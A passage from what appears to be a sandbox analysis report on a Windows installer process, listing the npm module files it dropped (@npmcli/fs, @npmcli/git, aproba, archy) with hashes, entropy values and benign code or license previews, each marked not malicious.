"posttest": "npm run lint

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	798
Entropy (8bit):	5.092418661626419
Encrypted:	false
SSDEEP:	12:jANOU+xXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:jAaCIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	C637D431AC5FAADB34AFF5FBD6985239
SHA1:	0E28FD386CE58D4A8FCBF3561DDAACD630BC9181
SHA-256:	27D998B503B18CDB16C49E93DA04069A99BA8A1D7E18D67146DE8E242F9A6D21
SHA-512:	A4B744C1D494FCC55CD223C8B7B0AD53F3637AAC05FE5C9A2BE41C5F5E117610C75A323C7745DFEAE0DB4126F169C2B7B88649412B6044BA4A94E9A4D8D62535
Malicious:	false
Preview:	This file is automatically added by @npmcli/template-oss. Do not edit. -->..ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\common\get-options.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Algol 68 source, ASCII text
Category:	dropped
Size (bytes):	528
Entropy (8bit):	4.420301569199014
Encrypted:	false
SSDEEP:	12:jjxkMHiEQIXwC5XC5QFwvZetGVomQVCaFImSbGfwBGw:nDoe5S5QwscHACaFImS6IBn
MD5:	B4354F6B8F8E2F5D7F695EEC9131753F
SHA1:	F715742A9ECA366EE9F876155A4FF2247EC9439A
SHA-256:	9EFFC9EB07753C26041C78A42338687C9DBC3A2FE7580256277D1E6F9B6CE4E1
SHA-512:	AD1A535F946E56F26B0D0B8E299E15085F2E9F11F7F0AE69816466F1E93565CC641E7600A659F8C6C48C35E7C02899918AEFD61FA8E40EFE715B5826835DD005
Malicious:	false
Preview:	// given an input that may or may not be an object, return an object that has.// a copy of every defined property listed in 'copy'. if the input is not an.// object, assign it to the property named by 'wrap'.const getOptions = (input, { copy, wrap }) => {. const result = {}.. if (input && typeof input === 'object') {. for (const prop of copy) {. if (input[prop] !== undefined) {. result[prop] = input[prop]. }. }. } else {. result[wrap] = input. }.. return result.}..module.exports = getOptions.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\common\node.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.421558215340807
Encrypted:	false
SSDEEP:	3:4PO+hA/2NltQAoLCr2FwFy+sKXDMAHXWMbtELDJks5A1Ch/6rXpK+0Bbme4XQA9v:bAQAo2r2FwFUGQAmMbtiDJfA1ChgpuBi
MD5:	FA6921F91A421D1681DF1B09EED61DB4
SHA1:	093D6E28561E89A93B28EF446C6CB26254F3E021
SHA-256:	3682E75CCD114A154EC490DB83CB92E4E81A7001F98551305CE8E1F78CEF3CBD
SHA-512:	755F746F64A33503E8E5023055CFCFB973E3FA0C5A6C92CF75FABBC1CE164097B3AF7B486CF3882D7CA63B36077611291C5A6E799603D36F5F93B790663B0152
Malicious:	false
Preview:	const semver = require('semver')..const satisfies = (range) => {. return semver.satisfies(process.version, range, { includePrerelease: true }).}..module.exports = {. satisfies,.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\cp\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	5.1035625531374365
Encrypted:	false
SSDEEP:	24:Cr4JH5HH0yPPYt4Hw1hl9MPHcs648Ok4/+wYo3HxFD:C8JxlPkrvMPHcsTIC3RFD
MD5:	EA817882455C03503F7D014A8F54F095
SHA1:	DD164BC611BCA7BA8EAD40EC4C2851081E5A16B9
SHA-256:	1E76029602AE9B21CC4E612DB2496D92FEBED882BA13BA745F8B3309E85F9D39
SHA-512:	0EA343D0E696BA27877DC0611766C526AA73F6E7AF46DF5A0F83840DC4C7851FB5837B7F6BDA8A014302BF877FE3B4B3E392B943CEFB3AF979E8AFC67559A5FF
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2011-2017 JP Richardson..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files.(the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify,. merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE.WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS.OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,. ARISING FROM, OUT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\cp\errors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	3396
Entropy (8bit):	4.734214672238623
Encrypted:	false
SSDEEP:	96:ZT+SO5UrQr5MieMQeMZneMeUeMwjTwOYEWw3Heo/7G:Z/7rQr5MieMQeM1eMheMwjcrWjG
MD5:	EFE1987E99CBCE7C9792A4C2B7E61603
SHA1:	912B3DA9DE65A067CDEDBA8B4DE2510974D3905D
SHA-256:	A7D09952191CDE9205664FF85CD97EDF0B765AC0903105039C6C735249269861
SHA-512:	DD5CF4D28546A4BD14C304951DB2951FBB17C1A86225B13DABD2A0FC7A658419526FF534FFBCF7DE2C0CC6895E569C3DD95EFF16F383D5DA847C4F577DA1465B
Malicious:	false
Preview:	'use strict'.const { inspect } = require('util')..// adapted from node's internal/errors.// https://github.com/nodejs/node/blob/c8a04049/lib/internal/errors.js..// close copy of node's internal SystemError class..class SystemError {. constructor (code, prefix, context) {. // XXX context.code is undefined in all constructors used in cp/polyfill. // that may be a bug copied from node, maybe the constructor should use. // `code` not `errno`? nodejs/node#41104. let message = `${prefix}: ${context.syscall} returned ` +. `${context.code} (${context.message})`.. if (context.path !== undefined) {. message += ` ${context.path}`. }. if (context.dest !== undefined) {. message += ` => ${context.dest}`. }.. this.code = code. Object.defineProperties(this, {. name: {. value: 'SystemError',. enumerable: false,. writable: true,. configurable: true,. },. message: {. value: message,. enumer

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\cp\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	695
Entropy (8bit):	4.702320567950967
Encrypted:	false
SSDEEP:	12:Cr6XBuiO2QFGqFc4i+RA+Rp6iNhTVIFqD0naK9PT7RHQSFpen3TBAv:Cgoi8LhLxhTPk99PT7mFTBAv
MD5:	1B23509B8FB16BE962414E575C44F9E3
SHA1:	9CD971F3DA8FCA47C1245AD6545F9C82CBF7B6E1
SHA-256:	F92557B351461096D1E9E9DC5446E0D7241CC26FCA08B4627A1B00246D54FC73
SHA-512:	DA930C5C071082D496A1A58143ADC3D223A9EEB8E870470EE701AC91DFAAA3200814768D86310E1030AD7D2DC991A651BFE5F4E549E2FE8ECE872F565A6AC751
Malicious:	false
Preview:	const fs = require('fs/promises').const getOptions = require('../common/get-options.js').const node = require('../common/node.js').const polyfill = require('./polyfill.js')..// node 16.7.0 added fs.cp.const useNative = node.satisfies('>=16.7.0')..const cp = async (src, dest, opts) => {. const options = getOptions(opts, {. copy: ['dereference', 'errorOnExist', 'filter', 'force', 'preserveTimestamps', 'recursive'],. }).. // the polyfill is tested separately from this module, no need to hack. // process.version to try to trigger it just for coverage. // istanbul ignore next. return useNative. ? fs.cp(src, dest, options). : polyfill(src, dest, options).}..module.exports = cp.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\cp\polyfill.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12241
Entropy (8bit):	4.841282946971032
Encrypted:	false
SSDEEP:	192:ofrrTNyMR7jCt/Bk6FDfekH0s1C4RZoYyhRVbRMfLXZojKm+qqv8U3/o/9VN4s:oTrTNzmOjTrjKi2s
MD5:	66146F2D7176F34B0D88E02DC6EB5625
SHA1:	262578F1B3AEF7FAEF99057B79C851D9359B66C7
SHA-256:	39F6E60D75218EB0B26DFBAA10B805778EE633502A6D1156D92CDB6C6E78BF37
SHA-512:	06449C788D2CA6BB9E21CE6A27033AB94469905766FC528B3663973E601AA5F7AE8638503A5B1AC51D9E5DCDF76DCD99B7A5C50BB50FB063B96E4EBA4FDD1787
Malicious:	false
Preview:	// this file is a modified version of the code in node 17.2.0.// which is, in turn, a modified version of the fs-extra module on npm.// node core changes:.// - Use of the assert module has been replaced with core's error system..// - All code related to the glob dependency has been removed..// - Bring your own custom fs module is not currently supported..// - Some basic code cleanup..// changes here:.// - remove all callback related code.// - drop sync support.// - change assertions back to non-internal methods (see options.js).// - throws ENOTDIR when rmdir gets an ENOENT for a path that exists in Windows.'use strict'..const {. ERR_FS_CP_DIR_TO_NON_DIR,. ERR_FS_CP_EEXIST,. ERR_FS_CP_EINVAL,. ERR_FS_CP_FIFO_PIPE,. ERR_FS_CP_NON_DIR_TO_DIR,. ERR_FS_CP_SOCKET,. ERR_FS_CP_SYMLINK_TO_SUBDIRECTORY,. ERR_FS_CP_UNKNOWN,. ERR_FS_EISDIR,. ERR_INVALID_ARG_TYPE,.} = require('./errors.js').const {. constants: {. errno: {. EEXIST,. EISDIR,. EINVAL,. ENOTDIR,. },

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.739810682613169
Encrypted:	false
SSDEEP:	3:agWAvGKLWEiJWM+IGQqRZLWmTOWxJQ68XcVkFKjjXIDFJQhjKjSMzJuPWCupQ0B7:QKGS7M+vLh3xj9kFKuZkuLBSOfLKkJDJ
MD5:	4A67406015C9F032E4335E01B7DD85DA
SHA1:	A36654CDA5B70FCB6E85B9228BF340EA91BF6B10
SHA-256:	54747B38CB1F467BC5E50F1AF7388159186BFE594D85C68BB43F3DEB8325D2C3
SHA-512:	26B0B2DBFC521A733E65C940D10CD93B3503C612100DDF36EC8CED0F1B03C3E93FBABE44E1440F5A05CD20624297D51642AFA6299CE6EED10D578A8211ACD539
Malicious:	false
Preview:	'use strict'..const cp = require('./cp/index.js').const withTempDir = require('./with-temp-dir.js').const readdirScoped = require('./readdir-scoped.js').const moveFile = require('./move-file.js')..module.exports = {. cp,. withTempDir,. readdirScoped,. moveFile,.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\move-file.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2281
Entropy (8bit):	4.495908944389356
Encrypted:	false
SSDEEP:	48:jmrigpIMCuM/QeJ+8AaT4nMvFgq93AmPslo8xhLLe7j/ZAbt/SLH2uZkOo:0Gf3pRpuo8xk3ZApaLH2zOo
MD5:	236766FA9C36B989A6EEA3D6271C30A7
SHA1:	4C6989557E93132544C9D273F82AAD9E06F3C9D1
SHA-256:	0684A070ABD953942292192E65A81BC79D404A478AE7DE17BC61827CB464D5E2
SHA-512:	470A69DD7C4CB1D094AFA7D92052B57B0CEB90EB7723ACC174D08C95090473F38D5BDA9494085AAF4297696B7EE183F8EB96F47C7120882D5EC30960BBB48217
Malicious:	false
Preview:	const { dirname, join, resolve, relative, isAbsolute } = require('path').const fs = require('fs/promises')..const pathExists = async path => {. try {. await fs.access(path). return true. } catch (er) {. return er.code !== 'ENOENT'. }.}..const moveFile = async (source, destination, options = {}, root = true, symlinks = []) => {. if (!source \|\| !destination) {. throw new TypeError('`source` and `destination` file required'). }.. options = {. overwrite: true,. ...options,. }.. if (!options.overwrite && await pathExists(destination)) {. throw new Error(`The destination file exists: ${destination}`). }.. await fs.mkdir(dirname(destination), { recursive: true }).. try {. await fs.rename(source, destination). } catch (error) {. if (error.code === 'EXDEV' \|\| error.code === 'EPERM') {. const sourceStat = await fs.lstat(source). if (sourceStat.isDirectory()) {. const files = await fs.readdir(source). await Promise.all(files.map((file

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\readdir-scoped.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	4.430267199435946
Encrypted:	false
SSDEEP:	12:BewaW7evFwTKgm2u05OJxoKH0duAOJiuNGUuBmvn:op7dwTKs38kKUAHHJuBYn
MD5:	CCECE4CD35478408100F4DD41AFAFDD5
SHA1:	39B656DECDA58C663A0E684E0EF8B996035BBA0C
SHA-256:	5AEB27AD14FCAF82C879DF66B79068D670C9E10E91E0483D0B72FDC87C00658C
SHA-512:	C030E1067224262884767BA34E4FE2C731F67237F82E8BBFA93926720F38FE5AE352D69910BB9B9742A4D19F90483F8F5FB2BA80B5CEAF55C2748F955032FD72
Malicious:	false
Preview:	const { readdir } = require('fs/promises').const { join } = require('path')..const readdirScoped = async (dir) => {. const results = [].. for (const item of await readdir(dir)) {. if (item.startsWith('@')) {. for (const scopedItem of await readdir(join(dir, item))) {. results.push(join(item, scopedItem)). }. } else {. results.push(item). }. }.. return results.}..module.exports = readdirScoped.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\lib\with-temp-dir.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	900
Entropy (8bit):	4.5620240916231
Encrypted:	false
SSDEEP:	24:pJq76ftQTxsU9FepsW/3+hTYZIZyQY+2BY5MLBG:pmTT9FCsWvyoOKv4
MD5:	519028A7FFD39BC64E5EE9BD9B80316B
SHA1:	FE5DE6222CE6C79D4A53EF8F5457574C25809D0C
SHA-256:	866D28B80E53A2A09985C23D99DBAC867487DBD5DFDC8CF3DF5C844C6BEAFBF8
SHA-512:	49DAE18208148F0DCC7C4536A80171214A1E13BD203B6DEB86081BD0FD2322AE77B821175AB266DAFDD946D8D5F4523C16ADC3F32CF8A9DB7633EC3A8C4B87C4
Malicious:	false
Preview:	const { join, sep } = require('path')..const getOptions = require('./common/get-options.js').const { mkdir, mkdtemp, rm } = require('fs/promises')..// create a temp directory, ensure its permissions match its parent, then call.// the supplied function passing it the path to the directory. clean up after.// the function finishes, whether it throws or not.const withTempDir = async (root, fn, opts) => {. const options = getOptions(opts, {. copy: ['tmpPrefix'],. }). // create the directory. await mkdir(root, { recursive: true }).. const target = await mkdtemp(join(`${root}${sep}`, options.tmpPrefix \|\| '')). let err. let result.. try {. result = await fn(target). } catch (_err) {. err = _err. }.. try {. await rm(target, { force: true, recursive: true }). } catch {. // ignore errors. }.. if (err) {. throw err. }.. return result.}..module.exports = withTempDir.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\fs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	4.6459893237017065
Encrypted:	false
SSDEEP:	24:+1bt92P7zen2KFwLC2K1C8LIFh30LgeJo631CYr:ibmP7zen2FWbC8sPEEefFCe
MD5:	DD35080750793074568B75E54C645B16
SHA1:	9601F97992448C68D8F87AB9B2535C717FF01868
SHA-256:	F055CDE11E9FCC5328E05268F5337621EDA31A71A9AF1E609039AE2F0B5155EA
SHA-512:	02399957704469276DC3D534E2F1FCDC27857301BD08A1604F0D4EEFC587EF9DB114B49E3C0C7868CEC3AE60CD70F1F6A90F5066FAA77010EB2A2127A936D8C9
Malicious:	false
Preview:	{. "name": "@npmcli/fs",. "version": "3.1.0",. "description": "filesystem utilities for the npm cli",. "main": "lib/index.js",. "files": [. "bin/",. "lib/". ],. "scripts": {. "snap": "tap",. "test": "tap",. "npmclilint": "npmcli-lint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "postsnap": "npm run lintfix --",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/fs.git". },. "keywords": [. "npm",. "oss". ],. "author": "GitHub Inc.",. "license": "ISC",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.8.0",. "tap": "^16.0.1". },. "dependencies": {. "semver": "^7.3.5". },. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @n

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\git\lib\clone.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4937
Entropy (8bit):	4.809782502119511
Encrypted:	false
SSDEEP:	96:bg1EgynG+QNnioJoRAy8L08cBRDaN3l9wx26UMV+yvvGbvn0nBvn0UhHCh:8iJnG+QNnioJMAxo8YRWDwx26UMvObvb
MD5:	8DD7842C3F02A5898F39F5AF08E6B38D
SHA1:	A8C18F54C4ACD285B11448D122AC6A4489C52066
SHA-256:	459EC3DB39773683346D39233C9CEC9176667E1785240F6C861D276DDF9E9B8A
SHA-512:	82FB49E5ED8636D02BA65EF26D580A040CD4CD95483E03552E4A58454076009447821012102ECA4B14E7B7ABA4235E9279591F9994E7A963EC5B4D82EF76EE2D
Malicious:	false
Preview:	// The goal here is to minimize both git workload and.// the number of refs we download over the network..//.// Every method ends up with the checked out working dir.// at the specified ref, and resolves with the git sha...// Only certain whitelisted hosts get shallow cloning..// Many hosts (including GHE) don't always support it..// A failed shallow fetch takes a LOT longer than a full.// fetch in most cases, so we skip it entirely..// Set opts.gitShallow = true/false to force this behavior.// one way or the other..const shallowHosts = new Set([. 'github.com',. 'gist.github.com',. 'gitlab.com',. 'bitbucket.com',. 'bitbucket.org',.]).// we have to use url.parse until we add the same shim that hosted-git-info has.// to handle scp:// urls.const { parse } = require('url') // eslint-disable-line node/no-deprecated-api.const path = require('path')..const getRevs = require('./revs.js').const spawn = require('./spawn.js').const { isWindows } = require('./utils.js')..const pickManifest =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\git\lib\errors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	600
Entropy (8bit):	4.4892497015755115
Encrypted:	false
SSDEEP:	12:hiefWPOyG+14C8OvgnI2G+14lqvG+140GPVBBtHhv:4DPPmCrvgnTmlqvm0GtBBL
MD5:	449CDF05E1A78F45B03D7FD842AF47BC
SHA1:	76D4ACBD14733CD9B9E5B1F5F5B783E9DD1E25A0
SHA-256:	7320C74C44840322B20480B8D340FD079BBAA2E5267FE60889D990D6A29A2849
SHA-512:	6FE6935B0AB0F8972B83DAC7810911E3284031A75C37905911D13CF667CC9C3A518E4B6D2C9AA917BACF7E47FC651E06098F97A39B20138BEEAD3AA5EB0074F9
Malicious:	false
Preview:	.const maxRetry = 3..class GitError extends Error {. shouldRetry () {. return false. }.}..class GitConnectionError extends GitError {. constructor (message) {. super('A git connection error occurred'). }.. shouldRetry (number) {. return number < maxRetry. }.}..class GitPathspecError extends GitError {. constructor (message) {. super('The git reference could not be found'). }.}..class GitUnknownError extends GitError {. constructor (message) {. super('An unknown git error occurred'). }.}..module.exports = {. GitConnectionError,. GitPathspecError,. GitUnknownError,.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\git\lib\find.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	316
Entropy (8bit):	4.282936836117496
Encrypted:	false
SSDEEP:	6:wWWdbaqBgHIKJT2mF0KES8ot8yJCQSGwKKOMAEta7F9xL:NCbaqBgB2mF0fitxVNEta77xL
MD5:	431301ED7209995FD1C85BEA39672306
SHA1:	757C1E3B9AC92DE24E568D07476220F55FC05DAD
SHA-256:	60B0559E699B01AE777E941CAC75A8B8BD541F524BEA8BA05B5C9055250733F3
SHA-512:	A5C9B8B093E3E17106FE0B62C17984991DB2673F6A3CEB90A859F7ADA4D46DEDAAC90995FB367E9D0389DC3E55C8459A90770069C935B0C5723470596B9C7489
Malicious:	false
Preview:	const is = require('./is.js').const { dirname } = require('path')..module.exports = async ({ cwd = process.cwd(), root } = {}) => {. while (true) {. if (await is({ cwd })) {. return cwd. }. const next = dirname(cwd). if (cwd === root \|\| cwd === next) {. return null. }. cwd = next. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\aproba\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	752
Entropy (8bit):	5.0549042450081485
Encrypted:	false
SSDEEP:	12:oLS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2C5ErK2PF3ea:o+ICCtEmq6s9iOnc4PRnA+qpF3ea
MD5:	9D215C9223FBEF14A4642CC450E7ED4B
SHA1:	279F47BEDBC7BB9520C5F26216B2323E8F0E728E
SHA-256:	0CEF05DFFF8B6AA7F35596984F5709F0D17C2582924A751EFA471A76DE7CDC11
SHA-512:	5E4BA806F279089D705E909E3C000674C4186D618D6AB381619099F8895AF02979F3FC9ABB43F78B9FFED33B90A7861F6C4B9D6C1BB47ED14A79E7F90ECA833C
Malicious:	false
Preview:	Copyright (c) 2015, Rebecca Turner <me@re-becca.org>..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF.OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\aproba\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	4.67000471346993
Encrypted:	false
SSDEEP:	12:qz113tXopZlV6akrcVHASCEMnk/GC8PWVt9WgObmPdnOj8j9SwPVchL:s113p8femFCXyVlO+9SwtY
MD5:	B31E043E45EB9136AA1A57157E36E186
SHA1:	6EF09990F223572C66907D053A82FADD8AD8475E
SHA-256:	44CA10FFD2A5D94BF4CD84383D609179AE9CC28CE27E926D4882D2735EA2B52D
SHA-512:	8541CCDFC42D6E1C8C868A544AA800951F63D0F646862D28BED5F0582DB56583F6C43B532AEED15BDED199B7DB555BD8F048FD90B6DDD3718BDF842C500B2F2A
Malicious:	false
Preview:	{. "name": "aproba",. "version": "2.0.0",. "description": "A ridiculously light-weight argument validator (now browser friendly)",. "main": "index.js",. "directories": {. "test": "test". },. "dependencies": {},. "devDependencies": {. "standard": "^11.0.1",. "tap": "^12.0.1". },. "files": [. "index.js". ],. "scripts": {. "pretest": "standard",. "test": "tap --100 -J test/*.js". },. "repository": {. "type": "git",. "url": "https://github.com/iarna/aproba". },. "keywords": [. "argument",. "validate". ],. "author": "Rebecca Turner <me@re-becca.org>",. "license": "ISC",. "bugs": {. "url": "https://github.com/iarna/aproba/issues". },. "homepage": "https://github.com/iarna/aproba".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	5.050160375695032
Encrypted:	false
SSDEEP:	24:WbRrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:uSJrlxEDdQHOs52TSaYFD
MD5:	AEA1CDE69645F4B99BE4FF7CA9ABCCE1
SHA1:	B2E68CE937C1F851926F7E10280CC93221D4F53C
SHA-256:	435A6722C786B0A56FBE7387028F1D9D3F3A2D0FB615BB8FEE118727C3F59B7B
SHA-512:	518113037EE03540CAAE63058A98525F9A4A67425BD8C3596F697BED5AE1D2053FE76F76B85A4EEFB80CC519F7B03D368CF4B445288C4CA7CACB5E7523F33962
Malicious:	false
Preview:	This software is released under the MIT license:..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.CO

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\examples\beep.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	387
Entropy (8bit):	3.541891175201308
Encrypted:	false
SSDEEP:	6:qWx8qFiEYmVc0xMexH5x/vqVVsF15q5Lz2NFzbMqAev:tvWvGLIyFrq5L2FHl
MD5:	B4270AB659E13669EC1A126EB2F38FBF
SHA1:	8435F1FDA19336C06418AEA99D1836BBCF362CE8
SHA-256:	7D9459ACDFD93B11CB8DC56A4E7F2801A5B2234ED51D08B29FDDB92871303974
SHA-512:	8192BDB0A43896F3A9711005D154E934E9E53467966FBBC7378D0A2A086C04A0D9B06BCADA846D658E27E9611FEB4E8A8F324E8BD3AAE39B4FEBC1FBFAE862A3
Malicious:	false
Preview:	var archy = require('../');.var s = archy({. label : 'beep',. nodes : [. 'ity',. {. label : 'boop',. nodes : [. {. label : 'o_O',. nodes : [. {. label : 'oh',. nodes : [ 'hello', 'puny' ]. },. 'human'. ]. },. 'party\ntime!'. ]. }. ].});.console.log(s);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\examples\multi_line.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	3.688173167581714
Encrypted:	false
SSDEEP:	6:qWn8lEYmVc0xyQxH5x/iCDwP5q5Lz2NFzbMqAev:1Womdhq5L2FHl
MD5:	3CEB7D2EFB926E80FEC9FDC5393700A1
SHA1:	2BAA09F9F176E625247F9894AC770FB9C6E1C24C
SHA-256:	7ED4F7782C6CB3E4610EEFB7C82C33745AF1D1897E4F7A2F9D60377F1A3AC7F9
SHA-512:	295115E617689CFF03EEDC36EF5ED5313FE633152FA7B0C71548AF2DAF5B3C89FDA82F5EFE6B77B5C65EA6AF313CD36C2D1D0B3BBA3ACD6CF655FE442E37B492
Malicious:	false
Preview:	var archy = require('../');..var s = archy({. label : 'beep\none\ntwo',. nodes : [. 'ity',. {. label : 'boop',. nodes : [. {. label : 'o_O\nwheee',. nodes : [. {. label : 'oh',. nodes : [ 'hello', 'puny\nmeat' ]. },. 'creature'. ]. },. 'party\ntime!'. ]. }. ].});.console.log(s);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.2176827882897765
Encrypted:	false
SSDEEP:	24:DBN04yclq9zPGh3rd3TyRZQq3eE4I6WwQVuB51cyQW57:DbB7qkh71eh6v1cW7
MD5:	AD34826623828678C831B473D7D9F1DD
SHA1:	893D827A6D051964E215C48EE9A9ECDCB6A5D899
